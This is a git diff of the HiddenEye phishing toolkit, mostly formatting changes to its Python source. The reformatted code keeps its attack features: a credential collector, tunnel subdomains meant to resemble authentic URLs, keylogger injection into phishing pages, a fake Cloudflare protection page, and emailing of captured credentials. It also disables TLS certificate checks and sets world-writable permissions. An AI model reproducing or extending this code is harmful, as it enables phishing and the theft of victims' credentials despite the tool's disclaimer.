diff --git a/Defs/ActionManager/Server/server_runner.py b/Defs/ActionManager/Server/server_runner.py
index e8cf297..6225f49 100644
--- a/Defs/ActionManager/Server/server_runner.py
+++ b/Defs/ActionManager/Server/server_runner.py
@@ -335,8 +335,9 @@ def start_localxpose(port):
def custom(port):
print(global_localization.small_logo)
- print("""\n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)"""
- .format(default_palette[0], default_palette[2]))
+ print(
+ """\n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)"""
+ .format(default_palette[0], default_palette[2]))
lnk = input("\n{0}CUSTOM Subdomain>>> {1}".format(
default_palette[0], default_palette[2]))
run_command(
@@ -575,4 +576,4 @@ def start_pagekite(port):
.format(port, subdomain))
except KeyboardInterrupt:
print("[!] Please Copy the Generated Link For Further Use")
- credentials_collector(port)
\ No newline at end of file
+ credentials_collector(port)
diff --git a/Defs/ActionManager/simple_informant.py b/Defs/ActionManager/simple_informant.py
index b393bae..81c2aea 100644
--- a/Defs/ActionManager/simple_informant.py
+++ b/Defs/ActionManager/simple_informant.py
@@ -91,7 +91,9 @@ def terms_of_service_message():
agreement = license_handler()
if not agreement:
print(localization.lang_terms_of_service_message["GPL_3.0"])
- print(localization.lang_terms_of_service_message["great_power_great_responsibility"])
+ print(
+ localization.
+ lang_terms_of_service_message["great_power_great_responsibility"])
print(localization.
lang_terms_of_service_message["do_you_accept_license"])
print(localization.
@@ -207,7 +209,7 @@ def log_writer(ctx): # Writing log
log_file.write(
ctx.replace(default_palette[0], "").replace(
default_palette[1], "").replace(default_palette[2], "").replace(
- default_palette[3], "").replace(default_palette[4], "") + "\n")
+ default_palette[3], "").replace(default_palette[4], "") + "\n")
print(ctx)
@@ -275,14 +277,16 @@ def verify_connection(
elif internet_choice == "n":
run_command("clear")
print(global_localization.hidden_eye_logo)
- print(" " + global_localization.by_darksec)
+ print(" " +
+ global_localization.by_darksec)
print(" " +
global_localization.official_website_link)
print(localization.lang_exit_message["help_to_improve_this_tool"])
print(localization.lang_exit_message["tell_if_page_got_broken"])
+ print(localization.
+ lang_exit_message["make_your_pull_request_or_issue"])
print(
- localization.lang_exit_message["make_your_pull_request_or_issue"])
- print(localization.lang_exit_message["small_disclaimer_suggestion"])
+ localization.lang_exit_message["small_disclaimer_suggestion"])
print(localization.lang_exit_message["forum_suggestion"])
print(localization.lang_exit_message["financial_support"])
print(localization.lang_exit_message["thank_you"])
diff --git a/Defs/FeatureManager/EmailManager/email_prompt.py b/Defs/FeatureManager/EmailManager/email_prompt.py
index 31e8858..f1353b5 100644
--- a/Defs/FeatureManager/EmailManager/email_prompt.py
+++ b/Defs/FeatureManager/EmailManager/email_prompt.py
@@ -4,81 +4,96 @@
# This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details.
#
-
-
-from Defs.ImportManager.unsorted_will_be_replaced import run_command, wait, path, system, getpass, base64, copyfile
import Defs.ThemeManager.theme as theme
+from Defs.ImportManager.unsorted_will_be_replaced import base64
+from Defs.ImportManager.unsorted_will_be_replaced import copyfile
+from Defs.ImportManager.unsorted_will_be_replaced import getpass
+from Defs.ImportManager.unsorted_will_be_replaced import path
+from Defs.ImportManager.unsorted_will_be_replaced import run_command
+from Defs.ImportManager.unsorted_will_be_replaced import system
+from Defs.ImportManager.unsorted_will_be_replaced import wait
default_palette = theme.default_palette
-def captured_data_email_confirmation(port): # Ask user to start sending credentials to recipient Email Address.
+# Ask user to start sending credentials to recipient Email Address.
+def captured_data_email_confirmation(port):
import Defs.ActionManager.simple_informant as simple_informant
+
choice = input(
- "\n\n{0}[{1}?{0}] Send Captured Data To Recipient Email Address.\nSend_Email(y/n)>> {2}".format(
- default_palette[0], default_palette[4], default_palette[2])).upper()
- if choice == 'Y' or choice == 'y':
- if path.isfile('Defs/FeatureManager/EmailManager/emailconfig.py'):
- system('python3 Defs/FeatureManager/EmailManager/SendEmail.py')
+ "\n\n{0}[{1}?{0}] Send Captured Data To Recipient Email Address.\nSend_Email(y/n)>> {2}"
+ .format(default_palette[0], default_palette[4],
+ default_palette[2])).upper()
+ if choice == "Y" or choice == "y":
+ if path.isfile("Defs/FeatureManager/EmailManager/emailconfig.py"):
+ system("python3 Defs/FeatureManager/EmailManager/SendEmail.py")
else:
print(
- '[ERROR!]: NO CONFIG FILE FOUND ! PLEASE CREATE CONFIG FILE FIRST TO USE THIS OPTION.')
+ "[ERROR!]: NO CONFIG FILE FOUND ! PLEASE CREATE CONFIG FILE FIRST TO USE THIS OPTION."
+ )
wait(2)
simple_informant.exit_message(port)
- elif choice == 'N' or choice == 'n':
+ elif choice == "N" or choice == "n":
simple_informant.exit_message(port)
else:
- system('clear')
- print("\n\n{0}[{1}^{0}] {2}Please Select A Valid Option.. ".format(default_palette[0], default_palette[4],
- default_palette[2]))
+ system("clear")
+ print("\n\n{0}[{1}^{0}] {2}Please Select A Valid Option.. ".format(
+ default_palette[0], default_palette[4], default_palette[2]))
wait(1)
- system('clear')
+ system("clear")
return captured_data_email_confirmation(port)
def captured_data_email_configuration_prompt():
- run_command('clear')
- print('''{1}
+ run_command("clear")
+ print("""{1}
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{1}http://github.com/darksecdevelopers
- {0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2]))
+ {0}** BY: {1}DARKSEC {0}**""".format(default_palette[0],
+ default_palette[2]))
print(
- "-------------------------------\n{0}[ PROMPT: CONFIG EMAIL CREDENTIAL FILE ]{1}!! {0}\n-------------------------------".format(
- default_palette[0], default_palette[4]))
+ "-------------------------------\n{0}[ PROMPT: CONFIG EMAIL CREDENTIAL FILE ]{1}!! {0}\n-------------------------------"
+ .format(default_palette[0], default_palette[4]))
# run_command('cp Defs/FeatureManager/EmailManager/EmailConfigDefault.py Defs/FeatureManager/EmailManager/emailconfig.py')
- copyfile('Defs/FeatureManager/EmailManager/EmailConfigDefault.py',
- 'Defs/FeatureManager/EmailManager/emailconfig.py')
- GMAILACCOUNT = input("{0}[{1}+{0}] Enter Your Gmail Username:{1} ".format(default_palette[0], default_palette[4]))
- with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f:
+ copyfile(
+ "Defs/FeatureManager/EmailManager/EmailConfigDefault.py",
+ "Defs/FeatureManager/EmailManager/emailconfig.py",
+ )
+ GMAILACCOUNT = input("{0}[{1}+{0}] Enter Your Gmail Username:{1} ".format(
+ default_palette[0], default_palette[4]))
+ with open("Defs/FeatureManager/EmailManager/emailconfig.py") as f:
read_data = f.read()
- c = read_data.replace('GMAILACCOUNT', GMAILACCOUNT)
- f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w')
+ c = read_data.replace("GMAILACCOUNT", GMAILACCOUNT)
+ f = open("Defs/FeatureManager/EmailManager/emailconfig.py", "w")
f.write(c)
f.close()
- print("{0}[.] {1}Email Address Added To config File. !\n".format(default_palette[0], default_palette[4]))
+ print("{0}[.] {1}Email Address Added To config File. !\n".format(
+ default_palette[0], default_palette[4]))
GMAILPASSWORD = getpass.getpass(
- "{0}[{1}+{0}] Enter Your Gmail Password:{1} ".format(default_palette[0], default_palette[4]))
- with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f:
+ "{0}[{1}+{0}] Enter Your Gmail Password:{1} ".format(
+ default_palette[0], default_palette[4]))
+ with open("Defs/FeatureManager/EmailManager/emailconfig.py") as f:
read_data = f.read()
GMAILPASSWORD = base64.b64encode(GMAILPASSWORD.encode())
- GMAILPASSWORD = (GMAILPASSWORD.decode('utf-8'))
- c = read_data.replace('GMAILPASSWORD', GMAILPASSWORD)
- f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w')
+ GMAILPASSWORD = GMAILPASSWORD.decode("utf-8")
+ c = read_data.replace("GMAILPASSWORD", GMAILPASSWORD)
+ f = open("Defs/FeatureManager/EmailManager/emailconfig.py", "w")
f.write(c)
f.close()
- print("{0}[.] {1}Password(Encoded) Added To config File. !\n".format(default_palette[0], default_palette[4]))
- RECIPIENTEMAIL = input(
- "{0}[{1}+{0}] Enter Recipient Email:{1} ".format(default_palette[0], default_palette[4]))
- with open('Defs/FeatureManager/EmailManager/emailconfig.py') as f:
+ print("{0}[.] {1}Password(Encoded) Added To config File. !\n".format(
+ default_palette[0], default_palette[4]))
+ RECIPIENTEMAIL = input("{0}[{1}+{0}] Enter Recipient Email:{1} ".format(
+ default_palette[0], default_palette[4]))
+ with open("Defs/FeatureManager/EmailManager/emailconfig.py") as f:
read_data = f.read()
- c = read_data.replace('RECIPIENTEMAIL', RECIPIENTEMAIL)
- f = open('Defs/FeatureManager/EmailManager/emailconfig.py', 'w')
+ c = read_data.replace("RECIPIENTEMAIL", RECIPIENTEMAIL)
+ f = open("Defs/FeatureManager/EmailManager/emailconfig.py", "w")
f.write(c)
f.close()
- print("{0}[.] {1}Recipient Email Address Added To config File. !\n".format(default_palette[0],
- default_palette[4]))
+ print("{0}[.] {1}Recipient Email Address Added To config File. !\n".
+ format(default_palette[0], default_palette[4]))
print(
- '\n\n{0}[{1}SUCCESS{0}]: Created Config File & Saved To (Defs/FeatureManager/EmailManager/Config.py)'.format(
- default_palette[0], default_palette[4]))
+ "\n\n{0}[{1}SUCCESS{0}]: Created Config File & Saved To (Defs/FeatureManager/EmailManager/Config.py)"
+ .format(default_palette[0], default_palette[4]))
diff --git a/Defs/FeatureManager/__init__.py b/Defs/FeatureManager/__init__.py
index e69de29..8b13789 100644
--- a/Defs/FeatureManager/__init__.py
+++ b/Defs/FeatureManager/__init__.py
@@ -0,0 +1 @@
+
diff --git a/Defs/FeatureManager/cloudflare.py b/Defs/FeatureManager/cloudflare.py
index cf1d66b..7e96efc 100644
--- a/Defs/FeatureManager/cloudflare.py
+++ b/Defs/FeatureManager/cloudflare.py
@@ -4,10 +4,13 @@
# This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details.
#
-
-
-from Defs.ImportManager.unsorted_will_be_replaced import wait, run_command, pathlib_Path, replace, copyfile, chmod
import Defs.ThemeManager.theme as theme
+from Defs.ImportManager.unsorted_will_be_replaced import chmod
+from Defs.ImportManager.unsorted_will_be_replaced import copyfile
+from Defs.ImportManager.unsorted_will_be_replaced import pathlib_Path
+from Defs.ImportManager.unsorted_will_be_replaced import replace
+from Defs.ImportManager.unsorted_will_be_replaced import run_command
+from Defs.ImportManager.unsorted_will_be_replaced import wait
default_palette = theme.default_palette
@@ -15,15 +18,16 @@ default_palette = theme.default_palette
def add_cloudfare():
# run_command('mv Server/www/index.* Server/www/home.php &
# & cp WebPages/cloudfare.html Server/www/index.html')
- chmod('Server', 0o777)
- chmod('Server/www', 0o777)
+ chmod("Server", 0o777)
+ chmod("Server/www", 0o777)
try:
- replace('Server/www/index.php', 'Server/www/home.php')
+ replace("Server/www/index.php", "Server/www/home.php")
except:
- replace('Server/www/index.html', 'Server/www/home.php')
+ replace("Server/www/index.html", "Server/www/home.php")
else:
- print('Unable to find index file, skipping...')
+ print("Unable to find index file, skipping...")
return
- copyfile('WebPages/cloudflare.html', 'Server/www/index.html')
- print("\n{0}[{1}#{0}]CLOUDFARE FAKE PAGE{0} ADDED...".format(default_palette[0], default_palette[4]))
+ copyfile("WebPages/cloudflare.html", "Server/www/index.html")
+ print("\n{0}[{1}#{0}]CLOUDFARE FAKE PAGE{0} ADDED...".format(
+ default_palette[0], default_palette[4]))
wait(1)
diff --git a/Defs/FeatureManager/feature_prompt.py b/Defs/FeatureManager/feature_prompt.py
index f698b68..87e124d 100644
--- a/Defs/FeatureManager/feature_prompt.py
+++ b/Defs/FeatureManager/feature_prompt.py
@@ -4,16 +4,15 @@
# This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details.
#
+from time import sleep
-
-import Defs.LocalizationManager.lang_feature_manager.lang_feature_prompt as feature_localization
-import Defs.LocalizationManager.lang_global_usage as global_localization
-from Defs.ImportManager.unsorted_will_be_replaced import run_command
-import Defs.ThemeManager.theme as theme
import Defs.FeatureManager.cloudflare as cloudflare
import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
import Defs.FeatureManager.keylogger as keylogger
-from time import sleep
+import Defs.LocalizationManager.lang_feature_manager.lang_feature_prompt as feature_localization
+import Defs.LocalizationManager.lang_global_usage as global_localization
+import Defs.ThemeManager.theme as theme
+from Defs.ImportManager.unsorted_will_be_replaced import run_command
default_palette = theme.default_palette
@@ -43,4 +42,3 @@ def feature_prompt():
print(global_localization.invalid_option)
sleep(3)
feature_prompt()
-
diff --git a/Defs/FeatureManager/keylogger.py b/Defs/FeatureManager/keylogger.py
index d176ef0..c572c51 100644
--- a/Defs/FeatureManager/keylogger.py
+++ b/Defs/FeatureManager/keylogger.py
@@ -4,33 +4,34 @@
# This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details.
#
-
-
-from Defs.ImportManager.unsorted_will_be_replaced import wait, run_command, path
import Defs.ThemeManager.theme as theme
+from Defs.ImportManager.unsorted_will_be_replaced import path
+from Defs.ImportManager.unsorted_will_be_replaced import run_command
+from Defs.ImportManager.unsorted_will_be_replaced import wait
default_palette = theme.default_palette
def add_keylogger():
- if path.exists('Server/www/index.html'):
- with open('Server/www/index.html') as f:
+ if path.exists("Server/www/index.html"):
+ with open("Server/www/index.html") as f:
read_data = f.read()
- c = read_data.replace(
- '', '')
- f = open('Server/www/index.html', 'w')
+ c = read_data.replace("",
+ '')
+ f = open("Server/www/index.html", "w")
f.write(c)
f.close()
- print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(default_palette[0], default_palette[4]))
+ print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(
+ default_palette[0], default_palette[4]))
wait(2)
else:
- with open('Server/www/index.php') as f:
+ with open("Server/www/index.php") as f:
read_data = f.read()
- c = read_data.replace(
- '', '')
- f = open('Server/www/index.php', 'w')
+ c = read_data.replace("",
+ '')
+ f = open("Server/www/index.php", "w")
f.write(c)
f.close()
- print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(default_palette[0], default_palette[4]))
+ print("\n{0}[{1}#{0}]Keylogger{0} ADDED !!!".format(
+ default_palette[0], default_palette[4]))
wait(2)
-
diff --git a/Defs/ImportManager/unsorted_will_be_replaced.py b/Defs/ImportManager/unsorted_will_be_replaced.py
index ca29f24..81f712e 100644
--- a/Defs/ImportManager/unsorted_will_be_replaced.py
+++ b/Defs/ImportManager/unsorted_will_be_replaced.py
@@ -5,11 +5,11 @@
# under certain conditions; you can read LICENSE for details.
#
import base64
-import stat
import getpass
import platform
import re as regular_expression
import socket
+import stat
from distutils.dir_util import copy_tree as webpage_set
from io import BytesIO
from os import chdir
diff --git a/Defs/LocalizationManager/helper.py b/Defs/LocalizationManager/helper.py
index 81f6371..349139b 100644
--- a/Defs/LocalizationManager/helper.py
+++ b/Defs/LocalizationManager/helper.py
@@ -4,8 +4,6 @@
# This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details.
#
-
-
import Defs.ThemeManager.theme as theme
default_palette = theme.default_palette
@@ -14,4 +12,6 @@ default_palette = theme.default_palette
def print_sorted_as_menu(sorting_list):
col_width = max(len(word) for row in sorting_list for word in row) + 2
for row in sorting_list:
- print("".join(word.ljust(col_width) for word in row).format(default_palette[0], default_palette[2]))
+ print("".join(word.ljust(col_width)
+ for word in row).format(default_palette[0],
+ default_palette[2]))
diff --git a/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py b/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py
index 6a4a2b6..e35a40c 100644
--- a/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py
+++ b/Defs/LocalizationManager/lang_action_manager/lang_simple_informant.py
@@ -48,11 +48,11 @@ lang_verify_connection = {
_("\n{0}[{1}!{0}] Network error. You are disconnected from the internet.").
format(default_palette[2], default_palette[0]),
"continue_warning":
- _("\n{0}[{1}*{0}] Many features of HiddenEye will not work without internet connection.").format(
- default_palette[2], default_palette[0]),
+ _("\n{0}[{1}*{0}] Many features of HiddenEye will not work without internet connection."
+ ).format(default_palette[2], default_palette[0]),
"continue_confirmation":
- _("\n{0}[{1}*{0}] Are you sure you'd like to continue. (Y/N)").format(
- default_palette[2], default_palette[0])
+ _("\n{0}[{1}*{0}] Are you sure you'd like to continue. (Y/N)").format(
+ default_palette[2], default_palette[0]),
}
lang_module_loading_message = {
diff --git a/Defs/LocalizationManager/lang_feature_manager/lang_feature_prompt.py b/Defs/LocalizationManager/lang_feature_manager/lang_feature_prompt.py
index 82d0658..1c668e4 100644
--- a/Defs/LocalizationManager/lang_feature_manager/lang_feature_prompt.py
+++ b/Defs/LocalizationManager/lang_feature_manager/lang_feature_prompt.py
@@ -4,26 +4,29 @@
# This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details.
#
-
-
import Defs.ThemeManager.theme as theme
from Defs.LocalizationManager.localization import _
+
default_palette = theme.default_palette
feature_prompt = {
"feature_alert":
- _(
- "---------------------------------------------------------\n{0}[ PROMPT: PLEASE CHOOSE FEATURES YOU WOULD "
- "LIKE TO USE. ]{1} {0}\n---------------------------------------------------------".format(
- default_palette[0], default_palette[4])),
+ _("---------------------------------------------------------\n{0}[ PROMPT: PLEASE CHOOSE FEATURES YOU WOULD "
+ "LIKE TO USE. ]{1} {0}\n---------------------------------------------------------"
+ .format(default_palette[0], default_palette[4])),
"keylogger":
- _("\n{0}[{1}A{0}]{1} KEYLOGGER (Usually Kills Connection) ".format(default_palette[0], default_palette[2])),
+ _("\n{0}[{1}A{0}]{1} KEYLOGGER (Usually Kills Connection) ".format(
+ default_palette[0], default_palette[2])),
"cloudfare":
- _("\n{0}[{1}B{0}]{1} FAKE CLOUDFARE PROTECTION PAGE ".format(default_palette[0], default_palette[2])),
+ _("\n{0}[{1}B{0}]{1} FAKE CLOUDFARE PROTECTION PAGE ".format(
+ default_palette[0], default_palette[2])),
"email":
- _("\n{0}[{1}C{0}]{1} CAPTURED DATA EMAILED ".format(default_palette[0], default_palette[2])),
+ _("\n{0}[{1}C{0}]{1} CAPTURED DATA EMAILED ".format(
+ default_palette[0], default_palette[2])),
"none":
- _("\n{0}[{1}0{0}]{1} PRESS ONLY ENTER FOR NONE OF THE ABOVE ".format(default_palette[0], default_palette[2])),
+ _("\n{0}[{1}0{0}]{1} PRESS ONLY ENTER FOR NONE OF THE ABOVE ".format(
+ default_palette[0], default_palette[2])),
"example":
- _('\n{0}[{1}*{0}]{1} Please type all together. Eg: ABC or AC {0}[{1}*{0}]{1}'.format(default_palette[0], default_palette[2]))
-}
\ No newline at end of file
+ _("\n{0}[{1}*{0}]{1} Please type all together. Eg: ABC or AC {0}[{1}*{0}]{1}"
+ .format(default_palette[0], default_palette[2])),
+}
diff --git a/Defs/LocalizationManager/lang_global_usage.py b/Defs/LocalizationManager/lang_global_usage.py
index ba52198..8177266 100644
--- a/Defs/LocalizationManager/lang_global_usage.py
+++ b/Defs/LocalizationManager/lang_global_usage.py
@@ -4,9 +4,8 @@
# This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details.
#
-
-
import Defs.ThemeManager.theme as theme
+
default_palette = theme.default_palette
hidden_eye_logo = """
@@ -14,16 +13,20 @@ hidden_eye_logo = """
{1} ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ {2}██ ██ ██ ██ {0}
{1} ███████ ██ ██ ██ ██ ██ ███████ ██ ██ ██ {2}███████ ████ ███████ {0}
{1} ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ {2}██ ██ ██ {0}
- {1} ██ ██ ██ ██████ ██████ ███████ ██ ███ {2}███████ ██ ███████ {0}""".format(default_palette[4], default_palette[2], default_palette[0])
+ {1} ██ ██ ██ ██████ ██████ ███████ ██ ███ {2}███████ ██ ███████ {0}""".format(
+ default_palette[4], default_palette[2], default_palette[0])
-input_line = "\n{0}HiddenEye >>> {1}".format(default_palette[0], default_palette[2])
-official_website_link = '{0}https://dark-sec-official.com'.format(default_palette[0])
-by_darksec = '{0}** BY:DARKSEC **'.format(default_palette[0])
-line_of_dots = '{0}...............................'.format(default_palette[0])
-small_logo = '''{1}
+input_line = "\n{0}HiddenEye >>> {1}".format(default_palette[0],
+ default_palette[2])
+official_website_link = "{0}https://dark-sec-official.com".format(
+ default_palette[0])
+by_darksec = "{0}** BY:DARKSEC **".format(default_palette[0])
+line_of_dots = "{0}...............................".format(default_palette[0])
+small_logo = """{1}
_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{1}http://github.com/darksecdevelopers
- {0}** BY: {1}DARKSEC {0}**'''.format(default_palette[0], default_palette[2])
-invalid_option = "Please choose a valid option."
\ No newline at end of file
+ {0}** BY: {1}DARKSEC {0}**""".format(default_palette[0],
+ default_palette[2])
+invalid_option = "Please choose a valid option."
diff --git a/Defs/LocalizationManager/localization.py b/Defs/LocalizationManager/localization.py
index bda2780..064c9a7 100644
--- a/Defs/LocalizationManager/localization.py
+++ b/Defs/LocalizationManager/localization.py
@@ -4,10 +4,8 @@
# This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details.
#
-
-
import gettext
-gettext.bindtextdomain('HiddenEye', 'locale')
-gettext.textdomain('HiddenEye')
+gettext.bindtextdomain("HiddenEye", "locale")
+gettext.textdomain("HiddenEye")
_ = gettext.gettext
diff --git a/Defs/ThemeManager/theme.py b/Defs/ThemeManager/theme.py
index 40d420b..f6f185c 100644
--- a/Defs/ThemeManager/theme.py
+++ b/Defs/ThemeManager/theme.py
@@ -5,5 +5,10 @@
# under certain conditions; you can read LICENSE for details.
#
-
-default_palette = ['\033[91m', '\033[46m', '\033[36m', '\033[1;32m', '\033[0m'] # TODO Will be replaced later,
+default_palette = [
+ "\033[91m",
+ "\033[46m",
+ "\033[36m",
+ "\033[1;32m",
+ "\033[0m",
+] # TODO Will be replaced later,
diff --git a/HiddenEye.py b/HiddenEye.py
index bde078e..8d3df14 100755
--- a/HiddenEye.py
+++ b/HiddenEye.py
@@ -4,10 +4,10 @@
# This is free software, and you are welcome to redistribute it
# under certain conditions; you can read LICENSE for details.
#
-
import multiprocessing
import ssl
from os import environ
+
import Defs.ActionManager.main_runner as main_runner
import Defs.ActionManager.Server.server_runner as server_runner
import Defs.ActionManager.simple_informant as simple_informant
@@ -19,7 +19,6 @@ if EULAController().check_eula_existence() is False:
if EULAController().check_eula_confirmation() is False:
EULAController().confirm_eula()
-
if not environ.get("PYTHONHTTPSVERIFY", "") and getattr(
ssl, "_create_unverified_context", None):
ssl._create_default_https_context = ssl._create_unverified_context
@@ -45,7 +44,7 @@ if __name__ == "__main__":
server_runner.server_selection(port)
multiprocessing.Process(target=server_runner.start_server,
- args=(port,)).start()
+ args=(port, )).start()
simple_informant.credentials_collector()
except KeyboardInterrupt:
diff --git a/__init__.py b/__init__.py
index e69de29..8b13789 100644
--- a/__init__.py
+++ b/__init__.py
@@ -0,0 +1 @@
+
diff --git a/controllers/EULA_controller.py b/controllers/EULA_controller.py
index d624236..9ed6760 100644
--- a/controllers/EULA_controller.py
+++ b/controllers/EULA_controller.py
@@ -1,14 +1,15 @@
import pathlib
-from os import chmod
import stat
+from os import chmod
+
from views.EULA_view import EULAView
class EULAController:
- def __init__(self, confirmation_text: str = 'eula = True'):
+ def __init__(self, confirmation_text: str = "eula = True"):
self.eula = "eula.txt"
self.confirmation_text = confirmation_text
- self.license = open("LICENSE", 'r')
+ self.license = open("LICENSE", "r")
def check_eula_existence(self):
"""
@@ -23,13 +24,16 @@ class EULAController:
def generate_new_eula(self):
pathlib.Path(str(self.eula)).touch(exist_ok=True)
text_license = self.license.read()
- with open(str(self.eula), 'w+') as temp_eula:
+ with open(str(self.eula), "w+") as temp_eula:
chmod(self.eula, 0o777)
- temp_eula.write("{0}\n{1}".format(EULAView().EULA_messages["eula_start_of_file_unconfirmed"], text_license))
+ temp_eula.write("{0}\n{1}".format(
+ EULAView().EULA_messages["eula_start_of_file_unconfirmed"],
+ text_license,
+ ))
temp_eula.close()
def check_eula_confirmation(self):
- with open(self.eula, 'r') as file:
+ with open(self.eula, "r") as file:
if self.confirmation_text in file.read():
print(EULAView().EULA_messages["eula_is_confirmed"])
return True
@@ -39,16 +43,29 @@ class EULAController:
def confirm_eula(self):
# FIXME replace those strings with View entries
- print(f'{self.license.read()}\nGreat Power Comes With Great Responsibility')
- print('\nThe use of the HiddenEye & its resources/phishing-pages is COMPLETE RESPONSIBILITY of the END-USER.')
- print('\nDevelopers assume NO liability and are NOT responsible for any damage caused by this program.')
- print('\nAlso we want to inform you that some of your actions may be ILLEGAL and you CAN NOT use this ')
- print('\nsoftware to test device, company or any other type of target without WRITTEN PERMISSION from them.')
+ print(
+ f"{self.license.read()}\nGreat Power Comes With Great Responsibility"
+ )
+ print(
+ "\nThe use of the HiddenEye & its resources/phishing-pages is COMPLETE RESPONSIBILITY of the END-USER."
+ )
+ print(
+ "\nDevelopers assume NO liability and are NOT responsible for any damage caused by this program."
+ )
+ print(
+ "\nAlso we want to inform you that some of your actions may be ILLEGAL and you CAN NOT use this "
+ )
+ print(
+ "\nsoftware to test device, company or any other type of target without WRITTEN PERMISSION from them."
+ )
print('\nDo you accept EULA? \nEnter: "I accept EULA" to continue')
answer = input("HiddenEye EULA>> ").lower().replace(" ", "")
if answer == "iaccepteula":
eula_temp_input = open(self.eula, "rt")
- eula_temp_data = eula_temp_input.read().replace(EULAView().EULA_messages["eula_start_of_file_unconfirmed"], EULAView().EULA_messages["eula_start_of_file_confirmed"])
+ eula_temp_data = eula_temp_input.read().replace(
+ EULAView().EULA_messages["eula_start_of_file_unconfirmed"],
+ EULAView().EULA_messages["eula_start_of_file_confirmed"],
+ )
eula_temp_input.close()
eula_temp_input = open(self.eula, "wt")
eula_temp_input.write(eula_temp_data)
diff --git a/index.html b/index.html
index 56f8491..b19bb7e 100644
--- a/index.html
+++ b/index.html
@@ -171,4 +171,4 @@ Copyright © 2020 All rights reserved